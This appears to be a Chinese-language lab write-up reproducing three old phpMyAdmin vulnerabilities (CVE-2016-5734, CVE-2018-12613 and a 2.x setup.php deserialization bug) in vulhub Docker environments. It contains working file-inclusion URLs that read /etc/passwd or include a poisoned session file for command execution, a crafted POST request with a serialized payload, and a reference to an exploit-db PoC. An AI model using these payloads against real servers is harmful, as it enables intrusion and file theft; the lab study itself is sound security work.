phpMyAdmin是一个非常受欢迎的基于web的MySQL数据库管理工具。它能够创建和删除数据库,创建/删除/修改表格,删除/编辑/新增字段,执行SQL脚本等
复现三个古老漏洞
phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。在其查找并替换字符串功能中,将用户输入的信息拼接进preg_replace
函数第一个参数中。
以下版本受到影响:
https://github.com/vulhub/vulhub/blob/master/phpmyadmin/CVE-2016-5734/
遇到的一点问题:
Bind for 0.0.0.0:8080 failed: port is already allocated
容器占用的port还没有完全释放
停止相应的docker容器进程即可
原因是tcp6协议的问题
解决方法:
vim /usr/lib/sysctl.d/00-system.conf
添加: net.ipv4.ip_forward=1
再重启网络 systemctl restart network
(虽然还是tcp6,但能访问了)
发现root/root登录不进去emm
(搭建出错了)
要在yml文件同目录下传配置文件
这样搭建完成后root/root就登录进去了
POC: https://www.exploit-db.com/exploits/40185
利用poc就可以执行远程命令了
py payload.py -u username -p password -c command [url]
影响版本 phpMyAdmin 4.8.0和4.8.1
环境搭建 https://github.com/vulhub/vulhub/tree/master/phpmyadmin/CVE-2018-12613
phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。
(需要登陆后才能利用,有些鸡肋)
访问
http://your-ip:8080/index.php?target=db_sql.php%253f/…/…/…/…/…/…/…/…/etc/passwd 可见/etc/passwd
被读取,说明文件包含漏洞存在:
利用方式:
可以执行一下SELECT '=phpinfo()?>';
然后查看自己的sessionid(cookie中phpMyAdmin的值)
然后包含session文件,实现远程命令执行的效果
http://192.168.230.131:8080/index.php?target=db_events.php?/…/…/…/…/…/…/…/…/tmp/sess_69e9f3167acefddc069ac7d250c7ddfc
影响版本: phpmyadmin 2.x版本
危害 : 任意文件读取/远程代码执行
环境搭建 https://github.com/vulhub/vulhub/tree/master/phpmyadmin/WooYun-2016-199433
环境启动后,访问http://your-ip:8080
,即可看到phpmyadmin的首页。因为没有连接数据库,所以此时会报错,但我们这个漏洞的利用与数据库无关,所以忽略。
抓包后 修改数据包为
POST /scripts/setup.php HTTP/1.1
Host: 192.168.230.131:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
可以看到读取了passwd文件